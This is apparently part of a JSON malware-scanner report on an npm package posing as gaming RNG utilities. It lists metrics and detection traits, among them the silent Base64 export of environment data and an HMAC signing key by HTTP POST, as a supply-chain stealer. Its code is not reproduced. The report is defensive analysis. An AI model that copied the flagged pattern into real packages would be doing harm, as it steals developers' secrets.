            ],
            [
              "",
              "Number.isFinite"
            ],
            [
              "",
              "Number.isFinite"
            ],
            [
              "",
              "RangeError"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "float"
            ],
            [
              "",
              "Math.min"
            ],
            [
              "",
              "Math.max"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "crypto.randomBytes.toString"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "Array.isArray"
            ],
            [
              "",
              "RangeError"
            ],
            [
              "",
              "int"
            ],
            [
              "",
              "crypto.createHash.update.update.update.digest.slice"
            ],
            [
              "",
              "crypto.createHash.update.update.update.digest"
            ],
            [
              "",
              "crypto.createHash.update.update.update"
            ],
            [
              "",
              "crypto.createHash.update.update"
            ],
            [
              "",
              "crypto.createHash.update"
            ],
            [
              "",
              "crypto.createHash"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "crypto.createHmac.update.digest"
            ],
            [
              "",
              "crypto.createHmac.update"
            ],
            [
              "",
              "crypto.createHmac"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "./package.json"
            ],
            [
              "",
              "crypto"
            ],
            [
              "",
              "http"
            ],
            [
              "",
              "https"
            ]
          ],
          "mbr": [
            "Array.isArray",
            "Buffer.from",
            "Buffer.from.toString",
            "Date.toISOString",
            "JSON.stringify",
            "Math.ceil",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Number.isFinite",
            "String.replace",
            "crypto.createHash",
            "crypto.createHash.update",
            "crypto.createHash.update.update",
            "crypto.createHash.update.update.update",
            "crypto.createHash.update.update.update.digest",
            "crypto.createHash.update.update.update.digest.slice",
            "crypto.createHmac",
            "crypto.createHmac.update",
            "crypto.createHmac.update.digest",
            "crypto.randomBytes",
            "crypto.randomBytes.readUIntBE",
            "crypto.randomBytes.toString",
            "list.length",
            "module.exports",
            "o.entropy",
            "o.instance",
            "o.logging_data",
            "o.region",
            "o.rng_server_url",
            "o.token",
            "process.env",
            "process.env.RNG_COLLECTOR_UUID",
            "req.destroy",
            "req.end",
            "req.on",
            "require.version",
            "res.resume",
            "runtime.entropy",
            "runtime.instance",
            "runtime.logging_data",
            "runtime.region",
            "u.protocol",
            "u.searchParams",
            "u.searchParams.set"
          ],
          "metrics": {
            "ast": {
              "call_count": 55,
              "max_concat_chain": 3,
              "max_depth": 17,
              "max_member_depth": 7,
              "member_count": 45,
              "node_count": 1040,
              "op.add": 3,
              "op.div": 1,
              "op.eq": 2,
              "op.land": 2,
              "op.lnot": 3,
              "op.lor": 12,
              "op.lt": 1,
              "op.mul": 1,
              "op.pow": 1,
              "op.sub": 2,
              "op_density.add": 0,
              "op_density.div": 0,
              "op_density.eq": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "op_density.lor": 0.01,
              "op_density.lt": 0,
              "op_density.mul": 0,
              "op_density.pow": 0,
              "op_density.sub": 0
            },
            "binary": {
              "peak_region_bytes": 2454,
              "peak_region_entropy": 5.09
            },
            "binds": {
              "count": 15
            },
            "exports": {
              "api_count": 8,
              "count": 8
            },
            "file": {
              "entropy": 5.09,
              "size": 2454
            },
            "functions": {
              "anonymous": 3,
              "avg_length_lines": 6.9,
              "avg_name_length": 4.14,
              "avg_nesting_depth": 0.3,
              "avg_param_name_length": 4.25,
              "avg_params": 0.8,
              "code_ratio": 0.79,
              "count": 7,
              "density": 11.9,
              "length_stddev": 8.18,
              "max_length_lines": 30,
              "max_nesting_depth": 1,
              "max_params": 2,
              "min_length_lines": 1,
              "nested": 1,
              "no_params_count": 3,
              "one_liners": 3,
              "single_char_params": 1
            },
            "identifiers": {
              "all_lowercase_ratio": 0.7,
              "all_uppercase_ratio": 0.06,
              "avg_entropy": 2.18,
              "avg_length": 5.94,
              "count": 199,
              "high_entropy_count": 1,
              "high_entropy_ratio": 0.01,
              "length_stddev": 3,
              "max_length": 18,
              "min_length": 1,
              "reuse_ratio": 0.42,
              "sequential_names": 4,
              "single_char_count": 4,
              "single_char_ratio": 0.05,
              "unique": 84
            },
            "imports": {
              "count": 4,
              "relative": 1,
              "relative_ratio": 0.25,
              "stdlib_count": 3,
              "stdlib_ratio": 0.75,
              "third_party_count": 1,
              "third_party_ratio": 0.25
            },
            "source": {
              "function_count": 7
            },
            "strings": {
              "avg_entropy": 2.25,
              "avg_length": 8.12,
              "bytes": 203,
              "count": 25,
              "empty_count": 2,
              "entropy_stddev": 1.02,
              "max_length": 36,
              "path_count": 1
            },
            "text": {
              "anonymous_function_ratio": 0.3,
              "avg_line_length": 28.21,
              "char_entropy": 5.09,
              "digit_ratio": 0.04,
              "empty_line_ratio": 0.17,
              "identifier_density": 2.37,
              "identifiers_to_functions_ratio": 8.4,
              "import_density": 4.76,
              "imports_to_functions_ratio": 0.4,
              "last_line_length": 81,
              "line_length_stddev": 26.89,
              "lines": 84,
              "max_line_length": 116,
              "max_whitespace_run": 1,
              "normalized_function_count": 1.09,
              "normalized_import_count": 0.44,
              "normalized_string_count": 2.73,
              "normalized_unique_identifiers": 13.14,
              "space_count": 367,
              "string_density": 0.3,
              "strings_to_functions_ratio": 2.5,
              "suspicious_identifier_ratio": 0.05,
              "top_char": 116,
              "top_char_null": 0,
              "top_char_ratio": 0.06,
              "unique_chars": 82,
              "whitespace_ratio": 0.18
            }
          },
          "tgt": [
            "Array.isArray",
            "Boolean",
            "Buffer.from",
            "Buffer.from.toString",
            "Date",
            "Date.toISOString",
            "JSON.stringify",
            "Math.ceil",
            "Math.floor",
            "Math.max",
            "Math.min",
            "Number",
            "Number.isFinite",
            "RangeError",
            "String",
            "String.replace",
            "URL",
            "crypto.createHash",
            "crypto.createHash.update",
            "crypto.createHash.update.update",
            "crypto.createHash.update.update.update",
            "crypto.createHash.update.update.update.digest",
            "crypto.createHash.update.update.update.digest.slice",
            "crypto.createHmac",
            "crypto.createHmac.update",
            "crypto.createHmac.update.digest",
            "crypto.randomBytes",
            "crypto.randomBytes.readUIntBE",
            "crypto.randomBytes.toString",
            "float",
            "int",
            "parseInt",
            "req.destroy",
            "req.end",
            "req.on",
            "require",
            "res.resume",
            "u.searchParams.set"
          ]
        },
        "id": 2,
        "mol": "O(Eu₃)H₄(Cm₁₀Cr₃Db₅Os₂)Md₂(In₄Pt)",
        "path": "@test-org-aczxvz-test-package-1.0.0.tgz!!package/index.js",
        "pid": 0,
        "refs": [
          {
            "kind": "local",
            "off": 209,
            "sha256": "9085fe7e5f4b5f8c9511cfc12bd0fcf206683d1d1236d940febe5f76d63af19c",
            "to": "./package.json"
          }
        ],
        "risk": 129,
        "sha": "36cce16df2dad0dbaae4e5e182b0486b3269f6cce23c43a5df1744c922af54b4",
        "sid": 6632247673,
        "size": 2454,
        "supp": [
          {
            "by": [
              {
                "id": "metadata/import/npm/crypto::crypto",
                "spans": [
                  [
                    23,
                    6
                  ]
                ]
              }
            ],
            "crit": "notable",
            "id": "metadata/import/builtin::helper-call-crypto-module-name",
            "kind": "unless"
          },
          {
            "by": [
              {
                "id": "text",
                "spans": [
                  [
                    2372,
                    14
                  ]
                ]
              }
            ],
            "crit": "notable",
            "id": "metadata/lang/javascript-features::cjs-top-level-require-only",
            "kind": "unless"
          },
          {
            "by": [
              {
                "id": "metadata/import/builtin::require-https",
                "spans": [
                  [
                    78,
                    7
                  ]
                ]
              }
            ],
            "crit": "notable",
            "id": "metadata/lang/source/syntax/call/arguments::https-string-argument-call",
            "kind": "unless"
          },
          {
            "by": [
              {
                "id": "text",
                "spans": [
                  [
                    15,
                    8
                  ]
                ]
              }
            ],
            "crit": "notable",
            "id": "micro-behaviors/data/control-flow/module-exec::module-scope-string-function",
            "kind": "unless"
          }
        ],
        "traits": [
          {
            "atk": "T1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Silently exports configuration containing the local HMAC key",
            "id": "objectives/exfiltration/stealer/configuration/runtime::node-silent-signing-config-export",
            "spans": [
              [
                822,
                16
              ]
            ],
            "uses": [
              14,
              45
            ]
          },
          {
            "atk": "T1041",
            "conf": 0.94,
            "crit": 4,
            "desc": "Signing configuration export accompanies Base64 query and POST",
            "id": "objectives/exfiltration/stealer/configuration/runtime::node-runtime-config-base64-query-post",
            "spans": [
              [
                492,
                22
              ],
              [
                502,
                39
              ],
              [
                560,
                103
              ],
              [
                600,
                7
              ],
              [
                626,
                6
              ],
              [
                635,
                4
              ],
              [
                822,
                16
              ]
            ],
            "uses": [
              12,
              14,
              29,
              45
            ]
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "require('crypto') call",
            "id": "metadata/import/builtin::require-crypto",
            "spans": [
              [
                15,
                17
              ]
            ]
          },
          {
            "conf": 0.75,
            "crit": 3,
            "desc": "Imports the Node.js HTTP module",
            "id": "metadata/import/builtin::require-http",
            "spans": [
              [
                47,
                7
              ]
            ]
          },
          {
            "conf": 0.78,
            "crit": 3,
            "desc": "Imports the Node.js HTTPS module",
            "id": "metadata/import/builtin::require-https",
            "spans": [
              [
                78,
                7
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports crypto",
            "id": "metadata/import/npm/crypto::crypto",
            "spans": [
              [
                23,
                6
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports http",
            "id": "metadata/import/npm/http::http",
            "spans": [
              [
                55,
                4
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports https",
            "id": "metadata/import/npm/https::https",
            "spans": [
              [
                86,
                5
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Calls a digest() method",
            "id": "metadata/lang/source/syntax/call/member::js-digest-method-call",
            "spans": [
              [
                2141,
                8
              ]
            ]
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "References the application/json media type",
            "id": "micro-behaviors/communications/http/header/content-type::application-json",
            "spans": [
              [
                670,
                16
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "id": "micro-behaviors/communications/http/header/content-type::json-header",
            "spans": [
              [
                654,
                32
              ]
            ]
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "Script request option specifies POST",
            "id": "micro-behaviors/communications/http/post::request-options-post-method",
            "mbc": "C0002",
            "spans": [
              [
                626,
                14
              ]
            ]
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "request() specifies a POST method",
            "id": "micro-behaviors/communications/http/post::request-post-option",
            "spans": [
              [
                560,
                103
              ],
              [
                600,
                7
              ],
              [
                626,
                6
              ],
              [
                635,
                4
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Ends request result with body variable",
            "id": "micro-behaviors/communications/http/request/body/construction::bound-request-end-identifier-body",
            "mbc": "C0002",
            "spans": [
              [
                822,
                7
              ]
            ]
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Node HTTP end() sends JSON",
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-json-end-body",
            "spans": [
              [
                822,
                7
              ]
            ]
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Requires the Node HTTP module",
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-module-require",
            "spans": [
              [
                47,
                15
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request sends a body with end()",
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-request-end-body",
            "mbc": "C0002",
            "spans": [
              [
                47,
                7
              ],
              [
                562,
                23
              ],
              [
                822,
                9
              ]
            ],
            "uses": [
              13,
              18,
              20
            ]
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Requires the Node HTTPS module",
            "id": "micro-behaviors/communications/http/request/body/construction::node-https-module-require",
            "spans": [
              [
                78,
                16
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Ends request-like object with a body argument",
            "id": "micro-behaviors/communications/http/request/body/construction::request-end-body-call",
            "mbc": "C0002",
            "spans": [
              [
                822,
                9
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.72,
            "crit": 3,
            "desc": "References req.end or request.end",
            "id": "micro-behaviors/communications/http/request/body/construction::request-end-call",
            "mbc": "C0002",
            "spans": [
              [
                822,
                7
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js built-in http/https module usage",
            "id": "micro-behaviors/communications/http/request/client::node-http",
            "mbc": "C0002",
            "spans": [
              [
                47,
                7
              ],
              [
                562,
                23
              ]
            ],
            "uses": [
              22
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Dual-imported Node HTTP and HTTPS client",
            "id": "micro-behaviors/communications/http/request/client::node-scheme-selected-dual-require-client",
            "mbc": "C0002",
            "spans": [
              [
                47,
                7
              ],
              [
                562,
                23
              ]
            ],
            "uses": [
              3,
              4,
              31
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node HTTP client selected by URL scheme",
            "id": "micro-behaviors/communications/http/request/client::node-scheme-selected-http-client",
            "mbc": "C0002",
            "spans": [
              [
                47,
                7
              ],
              [
                562,
                23
              ]
            ],
            "uses": [
              21
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.75,
            "crit": 3,
            "desc": "HTTP POST request with JSON content",
            "id": "micro-behaviors/communications/http/request/json::http-post-json",
            "mbc": "C0002",
            "spans": [
              [
                626,
                6
              ],
              [
                634,
                6
              ],
              [
                670,
                16
              ]
            ],
            "uses": [
              9,
              27
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "Quoted HTTP POST method token",
            "id": "micro-behaviors/communications/http/request/reference::quoted-post-token",
            "spans": [
              [
                634,
                6
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "HTTP POST method field",
            "id": "micro-behaviors/communications/http/request/result::http-post-method",
            "mbc": "C0002",
            "spans": [
              [
                626,
                14
              ]
            ]
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Method option selects POST, PUT or PATCH",
            "id": "micro-behaviors/communications/http/request/verb::mutating-method-option",
            "spans": [
              [
                626,
                14
              ]
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Configures an HTTP POST request",
            "id": "micro-behaviors/communications/http/request/verb::post-method-text",
            "mbc": "C0002",
            "spans": [
              [
                626,
                6
              ],
              [
                634,
                6
              ]
            ]
          },
          {
            "conf": 0.82,
            "crit": 3,
            "desc": "Mutates a URL query parameter collection",
            "id": "micro-behaviors/communications/url/construction/query::query-parameter-mutation",
            "spans": [
              [
                480,
                17
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets query value from Buffer Base64",
            "id": "micro-behaviors/communications/url/construction/query::urlsearchparams-buffer-base64-value",
            "spans": [
              [
                492,
                22
              ],
              [
                502,
                39
              ]
            ],
            "uses": [
              30,
              40
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Passes Buffer value to query setter",
            "id": "micro-behaviors/communications/url/construction/query::urlsearchparams-buffer-base64-value-call",
            "spans": [
              [
                492,
                22
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Tests URL.protocol scheme in a ternary",
            "id": "micro-behaviors/communications/url/scheme::url-protocol-scheme-ternary-test",
            "spans": [
              [
                562,
                23
              ]
            ]
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Node.js createHash('sha256') call",
            "id": "micro-behaviors/crypto/hash/digest/sha2::node-createhash-sha256-call",
            "spans": [
              [
                1968,
                17
              ]
            ]
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "Node.js createHash call",
            "id": "micro-behaviors/crypto/hash/digest/unnamed-algorithm::node-createhash-call",
            "spans": [
              [
                1968,
                32
              ],
              [
                1980,
                10
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References an HMAC API",
            "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference",
            "mbc": "C0029",
            "spans": [
              [
                2223,
                10
              ]
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "References the Node.js HMAC constructor API",
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-api-reference",
            "spans": [
              [
                2211,
                17
              ]
            ]
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Node.js HMAC call in source text",
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-text-call",
            "mbc": "C0029",
            "spans": [
              [
                2223,
                11
              ]
            ]
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "Spaced subtraction between identifiers",
            "id": "micro-behaviors/data/arithmetic::js-identifier-subtraction",
            "spans": [
              [
                1603,
                7
              ]
            ]
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Text has empty named-parameter catch",
            "id": "micro-behaviors/data/control-flow/error-handling/suppress::empty-named-catch-text",
            "spans": [
              [
                844,
                15
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript emitter discards errors",
            "id": "micro-behaviors/data/control-flow/error-handling/suppress::silent-error-handler",
            "spans": [
              [
                750,
                22
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Converts Buffer value to Base64 text",
            "id": "micro-behaviors/data/encode/base64/primitive::buffer-base64-conversion",
            "spans": [
              [
                502,
                39
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Encodes Node.js Buffer output as Base64",
            "id": "micro-behaviors/data/encode/base64/primitive::node-buffer-base64-encode",
            "mbc": "C0026",
            "spans": [
              [
                502,
                20
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 encoding via toString (JS)",
            "id": "micro-behaviors/data/encode/base64/primitive::tostring-base64",
            "spans": [
              [
                502,
                20
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls JavaScript toString with hex encoding",
            "id": "micro-behaviors/data/encode/hex::js-to-string-hex",
            "spans": [
              [
                1716,
                27
              ]
            ]
          },
          {
            "conf": 0.88,
            "crit": 3,
            "desc": "Calls toString on constructed Node.js Buffer",
            "id": "micro-behaviors/data/format/string::node-buffer-tostring-call",
            "spans": [
              [
                502,
                20
              ]
            ]
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Serializes configuration retained as an HMAC key",
            "id": "micro-behaviors/data/serialize/json::javascript-serialized-hmac-config",
            "spans": [
              [
                822,
                16
              ]
            ]
          },
          {
            "conf": 0.5,
            "crit": 3,
            "desc": "Calls JSON.stringify()",
            "id": "micro-behaviors/data/serialize/json::json-stringify-call",
            "spans": [
              [
                414,
                14
              ]
            ]
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier",
            "spans": [
              [
                2325,
                14
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Serializes value with JSON.stringify",
            "id": "micro-behaviors/data/serialize/json::json-stringify-text-call",
            "spans": [
              [
                414,
                16
              ],
              [
                2325,
                16
              ]
            ]
          },
          {
            "conf": 0.84,
            "crit": 3,
            "desc": "JSON.stringify beside a variable-valued field",
            "id": "micro-behaviors/data/serialize/json::json-stringify-variable-value",
            "spans": [
              [
                414,
                56
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "CommonJS local-module require call",
            "id": "micro-behaviors/os/module/load/path::cjs-local-require-call",
            "spans": [
              [
                200,
                7
              ]
            ]
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "References the Node.js randomBytes API",
            "id": "micro-behaviors/os/random/crypto::node-random-bytes",
            "spans": [
              [
                1291,
                18
              ]
            ]
          },
          {
            "atk": "T1195.002,T1552.001,T1041",
            "conf": 0.99,
            "crit": 3,
            "desc": "Script base64 encodes environment payload",
            "id": "objectives/exfiltration/stealer/configuration/environment/file-source::encode-env-payload",
            "spans": [
              [
                502,
                39
              ]
            ]
          },
          {
            "atk": "T1041,T1552.001,T1195.002",
            "conf": 0.99,
            "crit": 3,
            "desc": "Script encodes data and selects POST",
            "id": "objectives/exfiltration/stealer/configuration/environment/process::node-env-encoding-and-post",
            "spans": [
              [
                522,
                117
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports ./package.json",
            "id": "metadata/import/npm/relative/1/package/json::relative/1/package/json",
            "spans": [
              [
                208,
                0
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "ctx": [
          {
            "col": 1,
            "line": 1,
            "ln": 0,
            "s": "{\n  \"name\": \"@test-org-aczxvz/test-package\",\n  \"version\": \"1.0.0\",\n  \"description\": \"EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)\",\n  \"main\": \"index.js\",\n  \"license\": \"UNLICENSED\",\n  \"publishConfig\": { \"access\": \"public\" }\n}\n"
          }
        ],
        "depth": 1,
        "facts": {
          "metrics": {
            "binary": {
              "peak_region_bytes": 263,
              "peak_region_entropy": 4.91
            },
            "consistency": {
              "missing_author": 1
            },
            "file": {
              "entropy": 4.91,
              "size": 263
            }
          }
        },
        "id": 3,
        "mol": "Md₃(Pa₅)",
        "path": "@test-org-aczxvz-test-package-1.0.0.tgz!!package/package.json",
        "pid": 0,
        "refs": [
          {
            "kind": "local",
            "off": 181,
            "sha256": "36cce16df2dad0dbaae4e5e182b0486b3269f6cce23c43a5df1744c922af54b4",
            "to": "index.js"
          }
        ],
        "risk": 8,
        "sha": "9085fe7e5f4b5f8c9511cfc12bd0fcf206683d1d1236d940febe5f76d63af19c",
        "sid": 6632247674,
        "size": 263,
        "traits": [
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "Versioned npm manifest at most two KiB",
            "id": "metadata/file/size::small-versioned-npm-manifest",
            "spans": [
              [
                47,
                18
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Filename is package.json",
            "id": "metadata/filename/identity::package-json-basename"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Published npm manifest omits author metadata",
            "id": "metadata/package/author/presence::published-npm-manifest-omits-author"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "npm manifest omits both dependencies and devDependencies",
            "id": "metadata/package/dependencies/presence::npm-no-deps-at-all",
            "uses": [
              10,
              11
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Package description uses internal wording",
            "id": "metadata/package/description/visibility::npm-description-internal-term",
            "spans": [
              [
                69,
                82
              ]
            ]
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "npm package name contains 'test'",
            "id": "metadata/package/name/vocabulary::npm-name-test",
            "spans": [
              [
                4,
                29
              ]
            ]
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "npm manifest declares publishConfig",
            "id": "metadata/package/publishing::has-publish-config",
            "spans": [
              [
                221,
                19
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "npm package is configured for public publishing",
            "id": "metadata/package/publishing::npm-public-publish-access",
            "spans": [
              [
                240,
                6
              ]
            ]
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "npm package version is exactly 1.0.0",
            "id": "metadata/package/versioning/sentinel::npm-version-exactly-1-0-0",
            "spans": [
              [
                47,
                5
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest omits dependencies field",
            "id": "metadata/package/dependencies/presence::npm-no-dependencies-field"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest omits devDependencies field",
            "id": "metadata/package/dependencies/presence::npm-no-deps-devdependencies"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest declares no runtime dependencies",
            "id": "metadata/package/dependencies/presence::npm-no-runtime-dependencies",
            "uses": [
              9
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Declared root JavaScript main entry",
            "id": "metadata/package/entrypoint/module::main-root-javascript-entry",
            "spans": [
              [
                172,
                0
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "Manifest sits at npm publish root",
            "id": "metadata/package/files/included::npm-publish-root-manifest"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "npm manifest declares package UNLICENSED",
            "id": "metadata/package/license::npm-unlicensed-declaration",
            "spans": [
              [
                194,
                0
              ]
            ]
          },
          {
            "conf": 0.9,
            "crit": 1,
            "desc": "npm manifest omits Ethers client",
            "id": "metadata/package/dependencies/presence::npm-manifest-omits-ethers-client"
          },
          {
            "conf": 0.9,
            "crit": 1,
            "desc": "npm manifest omits Web3 client",
            "id": "metadata/package/dependencies/presence::npm-manifest-omits-web3-client"
          }
        ],
        "type": "package.json"
      }
    ],
    "v": 8
  }
}